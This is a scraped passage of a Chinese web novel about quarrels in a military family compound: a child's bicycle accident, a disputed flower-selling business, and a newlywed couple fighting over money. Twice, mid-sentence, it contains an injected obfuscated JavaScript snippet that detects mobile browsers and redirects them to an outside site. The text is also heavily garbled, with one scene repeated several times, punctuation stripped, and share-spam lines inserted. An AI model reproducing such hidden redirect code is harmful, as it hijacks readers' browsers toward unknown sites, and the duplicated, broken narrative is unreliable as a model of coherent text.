话音刚落,邱春芳就不干了。 “凭啥要我们掏钱啊?我们孩子被撞倒了,咋能自己掏钱!应该全算在她们头上!” 周柒柒气得胸口直起伏。 “邱春芳,你怎么说话的?莹莹本来骑的好好的,是你家赵耀祖突然冲出来,她为了避让孩子,才摔倒受伤的,我们还没找你要钱呢,你倒好,还倒打一耙上了!” 邱春芳撇了撇嘴,满脸不屑。 “那军区公共的操场,你们能骑车,我家娃咋就不能跑了?有啥错肯定是大人的错,他一个小娃娃懂什么?他已经被吓着了!你们还好意思问我们要钱!” 邓翠香早就看不惯邱春芳这副蛮不讲理的样子,往前跨了一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885414|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叉着腰骂道。 “他能被吓着,那是他活该!看不见有车吗?也不知道躲开!害人害己!” 赵耀祖从小被邱春芳惯得胆小,**翠香这么一吼,肩 膀抖得像筛糠,速配在邱春芳怀里抽抽搭搭地小声啜泣起来。 朱莹莹看着孩子哭得可怜,心里一软,扯了扯周柒柒的袖子,声音虚弱。 “柒柒,翠香姐,算了,钱我有。” 说着便是挣扎着要从自己口袋里拿钱。 周柒柒按住她的手,触到一片冰凉,心疼得直皱眉,“我来就行。” 接着和邓翠香对视了一眼,转头对邱春芳说道。 “行,这医药费可以不让你们付,不过你得让赵耀祖给莹莹道个歉,说声对不起,再说声谢谢。” 不管怎么说,莹莹这伤都不能白受了。 她们这边倒是给了个台阶,邱春芳不但不下,反而大言不惭道。 “不可能!我家耀祖又没错,而且他这两毛钱,得你们给!” 周柒柒冷笑一声,眼里闪过寒光。 “行啊,邱春芳,给你脸你不要脸?我再给你一次机会,道歉不道歉?” 见对方还梗着脖子不说话,她慢悠悠道。 “不道歉是吧?那我待会儿可得去趟王大嫂家,跟她说说那吊兰一块钱一盆的事儿了.” 邱春芳脸色瞬间变了,结结巴巴道,“你你咋知道?你跟踪我们卖花?” “我可没那闲工夫。” 听周柒柒这么说,邱春芳又赶紧追问道,“你没跟王大嫂说吧?” 周柒柒耸了耸肩膀,“现在还没,不过待会儿就不一定了” 邱春芳放下心来,咬牙切齿地赔上个笑脸。 “哪个,我让耀祖道歉还不成嘛!” 说着便是推了推耀祖的肩膀,“耀祖,快!跟你莹莹阿姨说对不起” “对” “晚了,现在光是道歉不够了。” 赵耀祖一个字刚说出口,就被周柒柒打断了,她往后退了半步,眼神冷得像冰。 “除了道歉,你还得把莹莹的医药费给掏了,不然这事儿可没完!” 第174章 多少?! “你” 那可是两块五毛钱! 早知道刚才就不该嘴硬低个头认个错能掉块肉? 邱春芳悔得肠子都青了可也没了法子。 她手心里全是冷汗哆哆嗦嗦地摸遍了上下口袋才把那几张带着体温的钱票掏出来指尖都在发颤。 周柒柒从她手里接过钱没看邱春芳那张猪肝色的脸反手就甩在林瑶跟前。 “行了咱们走。” 她声音里还带着点刚硬的气说完便和邓翠香一左一右搀着朱莹莹往外挪。 朱莹莹的膝盖还在隐隐作痛每走一步都蹙着眉三人刚挪到门口正准备扶她上停在路边的三轮车呢。 突然看见卫生所大门边上并排趴着三颗毛茸茸的小脑袋黑黢黢的眼睛正往这边瞅。 周柒柒一眼就认出来了这是邱春芳家的二萌、三萌和四萌这几个丫头片子估摸着是偷偷跟来的。 “你们.” 周柒柒愣了下脚步顿住了。 那几个小女娃齐刷刷往后缩了缩脑袋埋得更低了。 最后还是个子最高的二萌走到车边脸上都是愧疚。 “朱阿姨对不起是我没看好弟弟才让他冲到你车前面的。” 说着她两只小手在粗布口袋里掏了半天摸出几张皱巴巴的**票来有一分的也有两分的还卷着边角。 “我这里有两毛钱是我和妹妹一起凑的.” 周柒柒、邓翠香和朱莹莹三人对视一眼心里头那点刚硬的气瞬间就软了。 二萌今年不过十二岁看孩子本来就不该是她的活儿。 朱莹莹忍着疼往前挪了半步抬手揉了揉二萌的头发又捏了捏她脏兮兮的小脸。 “你们自己拿去买糖吃吧朱阿姨不要。” “走吧。” 周柒柒见朱莹莹额头上又渗出细汗赶紧伸手扶住她往车边靠。 二萌站在原地望着三人的背影直发呆 忽然听见卫生所里传来她妈尖利的呵斥声。 “二萌!你还有脸在这儿杵着!让你们三个看个弟弟都看不住把人撞进卫生所了你们能耐了是不是!” 二萌身 子一哆嗦赶紧把钱胡乱塞进袜筒里给两个妹妹使了使眼色让她们先走独自面对怒火冲天的邱春芳。 这边周柒柒和邓翠香把朱莹莹扶回家让她躺在床上。 朱莹莹膝盖上的伤口刚上过药缠着厚厚的纱布可那渗出来的血印子还是看得人心里发紧。 周柒柒坐在床边看着那纱布就直揪心声音里带着点哽咽。 “都怪我你才刚学骑车我就不该松手的。要是我一直扶着你就不会摔了。” 朱莹莹躺在那儿喘了口气抬手拍了拍周柒柒的胳膊脸上扯出点笑。 “这叫啥话?纯属意外嘛跟你没关系不许耷拉着脸。” 邓翠香瞅了眼墙上挂着的挂钟时针都快指到六点了忙插话。 “行了行了不说这些丧气事儿了。这都到饭点了孩子们肯定饿坏了我去拌热干面家里还有面条和碎米芽菜呢现成的。” 周柒柒点点头刚要起身忽然想起啥似的。 “哎哟咱的自行车还在操场上呢!我去推回来。” 她们这儿到底是军属区这会儿操场上都没人了但是两辆自行车还好端端的立在那儿呢。 周柒柒先把自己那辆骑回院子又转身去推朱莹莹的车。 正准备上梁呢迎面就瞅见王嫂子和王婆婆 王嫂子脚步快几步就走到跟前。 “柒柒你瞅见春芳没?刚才听人说她卖花回来了我找了半天没见着人影。” 周柒柒把刚才在卫生所的事儿简略说了说。 “刚才在卫生所呢这会子该回来了吧。” 王大嫂十分担忧问了一句“莹莹没事吧?” 周柒柒脸上露出点笑“没事医生给处理过了还打了破伤风针。” 两人正说着王婆婆却围着自行车转了两圈眼睛直勾勾地盯着车头上的凤凰标志伸手摸了又摸那语气酸溜溜的。 “哟这是都买上自行车了?还是凤凰牌的呢看着真光鲜!” 她顿了顿又撇着嘴道。 “不过我说你们也是买车就买车呗非得在操场上骑来骑去地显摆?这摔了也是活该!” 周柒柒心里头那点刚压下去的火气又冒上来了。 这王婆婆就是这样,以前苦日子过惯了,啥都不看好,啥事儿都能挑出刺来。 她脸沉了沉,声音也冷了几分,“二手的,不值当显摆。没啥事我先回去了。” 说完,脚一蹬,自行车吱呀一声就窜了出去,扬起一股尘土来,呛的王婆婆直咳嗽。 “哎……” 王嫂子想喊住她,都来不及,回头就扯了扯王婆婆的袖子,脸上带着点不赞同。 “妈,您这是干啥呢?都是一个院的军属,说这话多不好听。” “咳咳咳” 王婆婆捂着脸,甩开她的手,脖子一梗。 “我说得不对?不就是不让她那乡下朋友卖花了吗?你瞅瞅她那态度,立马就变了脸,真是市侩!” 王嫂子眉头皱得更紧了,声音也低了些,“这事儿本来就是咱们不对,妈,您……” “有啥对不对的!” 王婆婆嗓门又高了八度。 “那花草都是咱家院子里种的,咱爱让谁卖就让谁卖,照样能挣钱!过阵子,咱也买辆自行车,买新的!非得杀杀她那嚣张气焰不可!” 娘俩一边拌着嘴,一边往家属院走。 刚拐过那片小树林,就见邱春芳和李红娟蹲在树底下,不知道在嘀咕啥。 王婆婆眼睛一亮,拉着王嫂子就往那边走,嘴里还嚷嚷着。 “哟,这不是春芳和红娟吗?可算找着你们了!” 邱春芳和李红娟正说得入神,冷不丁被这么一嗓子吓了一跳,手里的小布包都差点掉地上。 两人对视一眼,飞快地说了两句啥,然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前,眼睛瞪得溜圆,搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢,肯定比赵大梅那回赚得多吧?” 邱春芳和李红娟对视一眼,异口同声报了个数。 “多少?!” 王婆婆眼珠子都快瞪出来了,嗓门陡然拔高,像是没听清似的,又追问了一遍,满脸的不敢置信。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周柒柒心里头那点刚压下去的火气又冒上来了。 这王婆婆就是这样,以前苦日子过惯了,啥都不看好,啥事儿都能挑出刺来。 她脸沉了沉,声音也冷了几分,“二手的,不值当显摆。没啥事我先回去了。 说完,脚一蹬,自行车吱呀一声就窜了出去,扬起一股尘土来,呛的王婆婆直咳嗽。 “哎…… 王嫂子想喊住她,都来不及,回头就扯了扯王婆婆的袖子,脸上带着点不赞同。 “妈,您这是干啥呢?都是一个院的军属,说这话多不好听。 “咳咳咳 王婆婆捂着脸,甩开她的手,脖子一梗。 “我说得不对?不就是不让她那乡下朋友卖花了吗?你瞅瞅她那态度,立马就变了脸,真是市侩! 王嫂子眉头皱得更紧了,声音也低了些,“这事儿本来就是咱们不对,妈,您…… “有啥对不对的! 王婆婆嗓门又高了八度。 “那花草都是咱家院子里种的,咱爱让谁卖就让谁卖,照样能挣钱!过阵子,咱也买辆自行车,买新的!非得杀杀她那嚣张气焰不可! 娘俩一边拌着嘴,一边往家属院走。 刚拐过那片小树林,就见邱春芳和李红娟蹲在树底下,不知道在嘀咕啥。 王婆婆眼睛一亮,拉着王嫂子就往那边走,嘴里还嚷嚷着。 “哟,这不是春芳和红娟吗?可算找着你们了! 邱春芳和李红娟正说得入神,冷不丁被这么一嗓子吓了一跳,手里的小布包都差点掉地上。 两人对视一眼,飞快地说了两句啥,然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前,眼睛瞪得溜圆,搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢,肯定比赵大梅那回赚得多吧? 邱春芳和李红娟对视一眼,异口同声报了个数。 “多少?! 王婆婆眼珠子都快瞪出来了,嗓门陡然拔高,像是没听清似的,又追问了一遍,满脸的不敢置信。 你的朋友正在书荒,快去帮帮他吧 周柒柒心里头那点刚压下去的火气又冒上来了。 这王婆婆就是这样,以前苦日子过惯了,啥都不看好,啥事儿都能挑出刺来。 她脸沉了沉,声音也冷了几分,“二手的,不值当显摆。没啥事我先回去了。” 说完,脚一蹬,自行车吱呀一声就窜了出去,扬起一股尘土来,呛的王婆婆直咳嗽。 “哎……” 王嫂子想喊住她,都来不及,回头就扯了扯王婆婆的袖子,脸上带着点不赞同。 “妈,您这是干啥呢?都是一个院的军属,说这话多不好听。” “咳咳咳” 王婆婆捂着脸,甩开她的手,脖子一梗。 “我说得不对?不就是不让她那乡下朋友卖花了吗?你瞅瞅她那态度,立马就变了脸,真是市侩!” 王嫂子眉头皱得更紧了,声音也低了些,“这事儿本来就是咱们不对,妈,您……” “有啥对不对的!” 王婆婆嗓门又高了八度。 “那花草都是咱家院子里种的,咱爱让谁卖就让谁卖,照样能挣钱!过阵子,咱也买辆自行车,买新的!非得杀杀她那嚣张气焰不可!” 娘俩一边拌着嘴,一边往家属院走。 刚拐过那片小树林,就见邱春芳和李红娟蹲在树底下,不知道在嘀咕啥。 王婆婆眼睛一亮,拉着王嫂子就往那边走,嘴里还嚷嚷着。 “哟,这不是春芳和红娟吗?可算找着你们了!” 邱春芳和李红娟正说得入神,冷不丁被这么一嗓子吓了一跳,手里的小布包都差点掉地上。 两人对视一眼,飞快地说了两句啥,然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前,眼睛瞪得溜圆,搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢,肯定比赵大梅那回赚得多吧?” 邱春芳和李红娟对视一眼,异口同声报了个数。 “多少?!” 王婆婆眼珠子都快瞪出来了,嗓门陡然拔高,像是没听清似的,又追问了一遍,满脸的不敢置信。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 周柒柒心里头那点刚压下去的火气又冒上来了。 这王婆婆就是这样以前苦日子过惯了啥都不看好啥事儿都能挑出刺来。 她脸沉了沉声音也冷了几分“二手的不值当显摆。没啥事我先回去了。” 说完脚一蹬自行车吱呀一声就窜了出去扬起一股尘土来呛的王婆婆直咳嗽。 “哎……” 王嫂子想喊住她都来不及回头就扯了扯王婆婆的袖子 “妈您这是干啥呢?都是一个院的军属说这话多不好听。” “咳咳咳” 王婆婆捂着脸甩开她的手脖子一梗。 “我说得不对?不就是不让她那乡下朋友卖花了吗?你瞅瞅她那态度立马就变了脸真是市侩!” 王嫂子眉头皱得更紧了声音也低了些“这事儿本来就是咱们不对妈您……” “有啥对不对的!” 王婆婆嗓门又高了八度。 “那花草都是咱家院子里种的咱爱让谁卖就让谁卖照样能挣钱!过阵子咱也买辆自行车买新的!非得杀杀她那嚣张气焰不可!” 娘俩一边拌着嘴一边往家属院走。 刚拐过那片小树林就见邱春芳和李红娟蹲在树底下不知道在嘀咕啥。 王婆婆眼睛一亮拉着王嫂子就往那边走嘴里还嚷嚷着。 “哟这不是春芳和红娟吗?可算找着你们了!” 邱春芳和李红娟正说得入神冷不丁被这么一嗓子吓了一跳手里的小布包都差点掉地上。 两人对视一眼飞快地说了两句啥然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前眼睛瞪得溜圆搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢肯定比赵大梅那回赚得多吧?” 邱春芳和李红娟对视一眼异口同声报了个数。 “多少?!” 王婆婆眼珠子都快瞪出来了嗓门陡然拔高像是没听清似的又追问了一遍满脸的不敢置信。 听说看这 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“那花草都是咱家院子里种的,咱爱让谁卖就让谁卖,照样能挣钱!过阵子,咱也买辆自行车,买新的!非得杀杀她那嚣张气焰不可! 娘俩一边拌着嘴,一边往家属院走。 刚拐过那片小树林,就见邱春芳和李红娟蹲在树底下,不知道在嘀咕啥。 王婆婆眼睛一亮,拉着王嫂子就往那边走,嘴里还嚷嚷着。 “哟,这不是春芳和红娟吗?可算找着你们了! 邱春芳和李红娟正说得入神,冷不丁被这么一嗓子吓了一跳,手里的小布包都差点掉地上。 两人对视一眼,飞快地说了两句啥,然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前,眼睛瞪得溜圆,搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢,肯定比赵大梅那回赚得多吧? 邱春芳和李红娟对视一眼,异口同声报了个数。 “多少?! 王婆婆眼珠子都快瞪出来了,嗓门陡然拔高,像是没听清似的,又追问了一遍,满脸的不敢置信。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 周柒柒心里头那点刚压下去的火气又冒上来了。 这王婆婆就是这样以前苦日子过惯了啥都不看好啥事儿都能挑出刺来。 她脸沉了沉声音也冷了几分“二手的不值当显摆。没啥事我先回去了。” 说完脚一蹬 “哎……” 王嫂子想喊住她都来不及回头就扯了扯王婆婆的袖子脸上带着点不赞同。 “妈您这是干啥呢?都是一个院的军属说这话多不好听。” “咳咳咳” 王婆婆捂着脸甩开她的手脖子一梗。 “我说得不对?不就是不让她那乡下朋友卖花了吗?你瞅瞅她那态度立马就变了脸真是市侩!” 王嫂子眉头皱得更紧了声音也低了些“这事儿本来就是咱们不对妈您……” “有啥对不对的!” 王婆婆嗓门又高了八度。 “那花草都是咱家院子里种的咱爱让谁卖就让谁卖照样能挣钱!过阵子咱也买辆自行车买新的!非得杀杀她那嚣张气焰不可!” 娘俩一边拌着嘴一边往家属院走。 刚拐过那片小树林就见邱春芳和李红娟蹲在树底下不知道在嘀咕啥。 王婆婆眼睛一亮拉着王嫂子就往那边走嘴里还嚷嚷着。 “哟这不是春芳和红娟吗?可算找着你们了!” 邱春芳和李红娟正说得入神冷不丁被这么一嗓子吓了一跳手里的小布包都差点掉地上。 两人对视一眼飞快地说了两句啥然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前眼睛瞪得溜圆搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢肯定比赵大梅那回赚得多吧?” 邱春芳和李红娟对视一眼异口同声报了个数。 “多少?!” 王婆婆眼珠子都快瞪出来了嗓门陡然拔高像是没听清似的又追问了一遍满脸的不敢置信。 你的朋友正在书荒,快去帮帮他吧 周柒柒心里头那点刚压下去的火气又冒上来了。 这王婆婆就是这样,以前苦日子过惯了,啥都不看好,啥事儿都能挑出刺来。 她脸沉了沉,声音也冷了几分,“二手的,不值当显摆。没啥事我先回去了。 说完,脚一蹬,自行车吱呀一声就窜了出去,扬起一股尘土来,呛的王婆婆直咳嗽。 “哎…… 王嫂子想喊住她,都来不及,回头就扯了扯王婆婆的袖子,脸上带着点不赞同。 “妈,您这是干啥呢?都是一个院的军属,说这话多不好听。 “咳咳咳 王婆婆捂着脸,甩开她的手,脖子一梗。 “我说得不对?不就是不让她那乡下朋友卖花了吗?你瞅瞅她那态度,立马就变了脸,真是市侩! 王嫂子眉头皱得更紧了,声音也低了些,“这事儿本来就是咱们不对,妈,您…… “有啥对不对的! 王婆婆嗓门又高了八度。 “那花草都是咱家院子里种的,咱爱让谁卖就让谁卖,照样能挣钱!过阵子,咱也买辆自行车,买新的!非得杀杀她那嚣张气焰不可! 娘俩一边拌着嘴,一边往家属院走。 刚拐过那片小树林,就见邱春芳和李红娟蹲在树底下,不知道在嘀咕啥。 王婆婆眼睛一亮,拉着王嫂子就往那边走,嘴里还嚷嚷着。 “哟,这不是春芳和红娟吗?可算找着你们了! 邱春芳和李红娟正说得入神,冷不丁被这么一嗓子吓了一跳,手里的小布包都差点掉地上。 两人对视一眼,飞快地说了两句啥,然后都堆着笑站起身迎上去。 王婆婆几步就走到跟前,眼睛瞪得溜圆,搓着手急问道。 “你俩今儿卖了多少?拉了三十盆呢,肯定比赵大梅那回赚得多吧? 邱春芳和李红娟对视一眼,异口同声报了个数。 “多少?! 王婆婆眼珠子都快瞪出来了,嗓门陡然拔高,像是没听清似的,又追问了一遍,满脸的不敢置信。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第175章 心里过意不去 见王婆婆没听清,邱春芳和李红娟又大声说了一遍。 “十块钱?” 她声音都发颤,带着不敢置信的尖细,“怎么可能只有十块钱呢?” 但是她抬眼瞅了瞅,邱春芳和李红娟脸上半点不好意思的神情都没有,反而都理直气壮的,王婆婆自己就给自己找补了起来。 “哦,你们是说,账都算清了,给我们分十块钱,是这个意思不?” 邱春芳脑袋摇得像拨浪鼓,嗓门比刚才还高了八度:“不是!是总共就卖了十块钱!” 李红娟赶紧把记账本掏出来,双手递过去,脸上堆着笑。 “诺,这是单子,您老有福气,分账的事儿哪能少了您?我们俩可没敢先动,就等着您来做主呢!” “不是,你们咋能只卖了十块钱呢?” 王婆婆这回落了实,腿肚子一软,差点顺着墙根滑下去。 十块钱?这数目跟她心里头盘算的差了十万八千里。 她本来琢磨着,先前赵大梅卖花那会儿,不知跟不知底儿,糊里糊涂的,指不定私下里吞了多少,这回换了邱春芳和李红娟这俩自家人,总不能再吃亏。 她原想着,这一趟出去,少说也得卖三十块,运气好些说不定能更多…… 这么着一个月下来,七八十块是跑不了的,攒上两个月,就能给孙子买辆锃亮的凤凰牌自行车了,到时候在军属大院里骑出去,多风光! 可眼下这十块钱,别说自行车了,连车链子都买不起! 王婆婆平时记性不大好,可这回却是一下全想起来了。 “大梅第一次出去,可都卖了十六块钱呢!后头一次比一次多,最后那次,都卖了二十五块钱呢!你们咋可能就卖十块钱呢?” 她越说越激动,胸口剧烈起伏着,眼前阵阵发黑,旁边的王大嫂见状赶紧伸手去扶。 “妈,您慢点,别气着……” 王婆婆却一把甩开王大嫂的手,猛地抢过李红娟手里的单子,眯着老花眼,一个字一个字地对着念。 “我瞅瞅,吊兰七**,卖了五盆……石竹才两盆?矮牵牛三盆……” 就那么三五行字,翻来覆去看了两遍,再没别的了。 她瞪大了眼睛。 “没了 ???咋卖的这么少?你们是出去逛街了还是卖花了?” 李红娟赶紧陪着笑解释。 “这不是头回做买卖嘛,没经验,手生得很。等多跑几趟,摸出门道就好了,您老放心。” 邱春芳在一旁使劲捶着腿,龇牙咧嘴地抱怨。 “可不是嘛,这可怨不得我们!为了卖这点花,蹬那破三轮车,腿都快蹬断了,回来路上差点没蹬动!” 俩人说着,又贼头贼脑地往院门口瞅了瞅,见没人路过,才凑到王婆婆跟前,压低了声音。 “婆婆,您是不知道,街上好多人之前都买过赵大梅的花,见着我们就光打听价钱,问东问西的,就是不掏钱,我估摸着,指不定是那赵大梅在背后嚼舌根,说咱们坏话呢!” 王婆婆的脸“唰”地一下就沉了,像是罩上了一层乌云,她咬着牙,从牙缝里挤出几个字。 “那个周柒柒都敢给我甩脸子,赵大梅做出这事儿也不稀奇!” 她顿了顿,“这么说,倒真不怨你们。” 心里那点火气立马就转到了赵大梅身上,她反倒缓和了脸色,抬手拍了拍邱春芳和李红娟的肩膀,语气也软了。 “行了行了,知道你们也不容易。接下来上点心,加紧卖,争取多赚点。” 十块钱确实没啥好分的,王婆婆拿了六块。 剩下的四块,邱春芳和李红娟一人分了两块。 揣进兜里时,俩人脸上都带着点不自在,却还是强装镇定地走了。 王婆婆回到屋里,把那六块钱小心翼翼地塞进钱匣子,锁好,又反复按了按锁扣,嘴里不住地唉声叹气。 王大嫂端着杯晾好的菊花茶进来,轻轻放在桌上,柔声说。 “妈,喝点水顺顺气。要不……咱们还是让大梅妹子来帮忙卖花吧?她毕竟熟门熟路的。” 她之前弄了花钱买了满院子的矮牵牛和石竹幼苗,按照眼下这俩人一天卖三盆的速度,叶片打蔫了都卖不完,肯定是要赔本的。 王婆婆抬眼瞥了她一下,没好气地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894062|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你没听春芳她们说?她在外头没少编排咱们!” “可她们那么说,您就信了?” 王大嫂犹豫着开口。 “大梅妹子平时对咱们还挺好的,每次取花的时 候,都送些山楂、核桃啥的,待人挺客气的。” “客气?” 王婆婆冷笑一声,往椅背上一靠。 “你当她是真心的?咱们不过是合伙做生意,她平白无故送这送那,不是更蹊跷?我看啊,准是之前坑了咱们钱,心里过意不去,才拿些不值钱的东西来堵咱们的嘴!” 赵大梅本就不善言辞,平时也就跟王大嫂多说几句,说的还都是花草该多浇水还是多晒太阳的事儿。 哪像邱春芳、李红娟俩人,嘴巴跟抹了蜜似的,三天两头往院里跑,一口一个“婆婆”叫得甜,把王婆婆哄得眉开眼笑。 王大嫂还想再说点啥,见婆婆脸色不好,到了嘴边的话又咽了回去,只能拿起桌上的针线,默默地织起毛衣来,屋里只剩下王婆婆时不时的叹气声。 这边还只是叹气,但这会儿卫生所里,却是鸡飞狗跳的。 下午周柒柒刚走出诊室门,林瑶就把白大褂往椅背上一摔,气鼓鼓地躺到里间的铁架床上。 她笃定了,许树过不了片刻就得颠颠儿地跑进来哄她,就像往常无数次那样。 可左等右等,别说人影了,连个脚步声都没有。 只隐约听到许树在外头说肚子饿了,让许枣煮面去了,自己则是去军区食堂打了一份大炖菜回来。 林瑶一白天没吃什么东西,这会儿也饿了。 她舔了舔嘴唇,心里又升起几分期待,这下该来叫她了吧?他向来知道自己吃软不吃硬的。 可等了又等,那碗筷碰撞的叮当声都传进来了,还是没人掀门帘进来喊她一声。 她还当是出了什么事儿呢,一掀门帘,正看见兄妹俩围着小方桌吃得香,许树嘴里塞着面条,许枣正往碗里夹白菜炖粉条。 她当即就炸了,叉着腰站在门口。 “许树!你啥意思啊你!不去哄我,自己倒吃上了!没长眼睛啊?看不见我正不高兴呢?” 第176章 汇款单 “你都听见做饭的动静了,还不知道出来吃?难不成要我把碗端到你床上去? 许树正吃面呢,头都懒得抬,“还又不高兴了?因为啥不高兴啊? 那语气淡得像白开水,一点儿关心都没有,更把林瑶的火气拱上来了。 “因为啥你自己心里没数吗? 她往前冲了两步,指着许树的鼻子。 “下午你见着周柒柒,眼珠子都快黏到人家身上去了!直勾勾地瞅着,当我瞎呢?你到底啥意思你! “我哪有,你看错了…… 许树漫不经心地辩解了一句,话还没说完,林瑶的火气再也按捺不住,扬手就把他手里的铝制饭盒扫了下去。 金属饭盒“哐当砸在地上,面条混着面汤溅了一地,连许枣的布鞋上都沾了几点油星子。 “我咋可能看错! 林瑶的声音陡然拔高,眼眶都红了,止不住的委屈。 “咱们才结婚几天啊,你就变样了!以前你不是这样的…… “你有完没完啊!饭都不让人安生吃! 许树也来了火气,猛地一拍桌子,指了指屋里那条长板凳,板凳上还堆着林瑶换下来的几件衣服。 “你也知道你结婚了啊,饭也不做,卫生也不打扫,衣服也不洗!我还没找你算账呢,你倒好,一天天的,没事儿找事儿! 许树喘了口粗气,视线扫过一旁低着头抠手指的许枣,语气又沉了沉,带着几分训斥。 “还有,爸妈走之前特意嘱咐你,给枣儿留意着介绍个对象,你嘴上答应得好好的,这都过去好几天了,连个影都没有!你一点儿都不上心! 他越说越气,指着许枣的方向。 “枣儿天天给你捶肩捏背,晚上还给你倒洗脚水,你就是这么对她的? “还有你哥! 许树猛地提高了音量,额头上的青筋都鼓了起来. “之前说好地给我拿一千块钱呢?这都几天了,一点儿信都没有!! 说着,他“啪地把筷子摔在桌上,站起身,扭头就掀开门帘进了里屋,“砰地一声甩上了门。 林瑶被他这一连串的举动惊得愣在原地,这还是许树头一回对她发这么大火。 她站在原地,眼泪终于忍不住噼里啪啦往下掉,砸在手背上滚烫滚烫的,心里又气又委屈,喉咙像是被什么东西堵住了,连哭都哭不出声。 这时,许枣悄悄挪过来,小手轻轻拉了拉林瑶的衣角。 “嫂子,你别怨我哥,这事儿是你做的不对。 她声音细细软软的,带着怯生生的讨好,“咱们都是一家人,他也只是着急而已。 许枣扶着林瑶往板凳上坐,自己则半蹲在她面前,小手在她后背轻轻拍着。 “钱不到位,他生意就干不起来,再加上担心我这个妹妹找不到好人家…… 她一边给林瑶捏着肩膀,一边絮絮叨叨地说着好话,末了还把自己那碗没动过的面条端过来,小心翼翼地递到林瑶手里。 “嫂子你吃点吧,看你中午就没咋吃东西。 林瑶看着碗里冒着热气的面条,吸了吸鼻子,没说话,默默地吃了起来。 吃碗面,她就去了一趟电话室。 第二天下午,拎着东西就去找了许树。 昨晚他没回林瑶那间宿舍,而是在旁边堆东西的杂物间凑合的,腰酸背痛的,正在床上补觉呢。 他一睁眼瞧见林瑶,刚压下去的火气又上来了,翻了个身背对着她,连句话都懒得说。 林瑶却像是没瞧见他的冷淡,脸上带着点讨好的笑意,往前凑了凑,把手里攥着的纸片递过去。 “许树哥,你瞅瞅这是什么? 许树一开始还梗着脖子不理,眼角余光瞥见那纸片的边角印着邮局的红戳子,猛地就瞪大了眼睛,噌地从床上坐起来。 “汇款单? 他一把抢过去,“瑶瑶,咱哥汇钱过来了? 林瑶点点头,嘴角弯了弯。 “是!我昨晚打电话问过了,哥到家的时候就汇过来了,这不路上得走几天嘛! 许树高兴地蹦了起来,拿着汇款单翻来覆去地瞧。 之前林彦说一下子拿不出一千块钱来,他还以为会缩水好多呢,结果这张汇款单居然有八百块钱。 这可是一笔巨款,许树这辈子都没见过这么多钱,眼睛一下子就亮了起来。 想起昨晚的事儿,他赶紧放下汇款单,一把将林瑶搂进怀里,胳膊勒得紧紧的 。 “是我误会你了!瑶瑶!我跟你道歉,你没生气吧? 林瑶故意嘟着嘴,把脸往旁边扭了扭,明显还带着气。 “瑶瑶,我错了…… 许树赶紧凑过去亲她。 一开始,林瑶还绷着脸,肩膀挺得直直的,可没一会儿,身子也渐渐靠在许树怀里。 五分钟后。 许树气喘吁吁地瘫在床上,胸口还在剧烈起伏,脸上泛着满足的红潮,眼睛半眯着,嘴角还挂着笑。 林瑶往他怀里缩了缩,手指在他胸口画着圈,带着点不满嘟囔。 “许树哥,你怎么时间越来越短了?你之前不是说,男人十分钟才是正常的吗? 许树搂紧了她,声音还有些发虚。 “这两天不是没睡好吗,等我休息好了,一定……一定补偿你…… “好吧…… 林瑶轻轻哼了一声,算是应了。 两人刚收拾完,就听外面传来一声喊声,“医生呢! 林瑶的脸一下子就沉了。 “又是周柒柒!肯定是带那个朱莹莹过来换药的!烦**! 许树赶紧拍了拍她的背,哄道。 “我陪你一起去!这次我保证,目不斜视,就做你的小跟班,眼睛里啊,就你一个人,老婆~ 说着还掐了一下林瑶的屁股。 林瑶这才不情不愿地走了出去。 许树还真说到做到,整个换药的过程中,他真就一眼都没看周柒柒,而是帮着林瑶拿这拿那的。 当然,周柒柒更是一眼都没看他,全程注意力都在朱莹莹的伤口上面。 还好,昨天清理及时,伤口没有感染,但是还是得用生理盐水清洗,疼得莹莹冷汗都下来了。 洗完伤口,该涂药膏了,林瑶却到处找不到。 “昨天用完就放在这儿的啊,白铁小框里。 “今天早上不是又来了两个看病的吗,好像也用了那小框了,老婆,你别急,我帮你找找。 许树献殷勤,四处找了起来,可是两个人一起找了半天,都没找着。 莹莹的伤口不能长时间暴露在外面,不然又要消毒。 周柒柒无奈,只得帮着满诊室的一起找了起来。 找着找着,找到了里头的小间,看到柜子上有一个小框,正准备伸手拿呢,却碰到一只油腻腻的爪子。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 “是我误会你了!瑶瑶!我跟你道歉,你没生气吧?” 林瑶故意嘟着嘴,把脸往旁边扭了扭,明显还带着气。 “瑶瑶,我错了……” 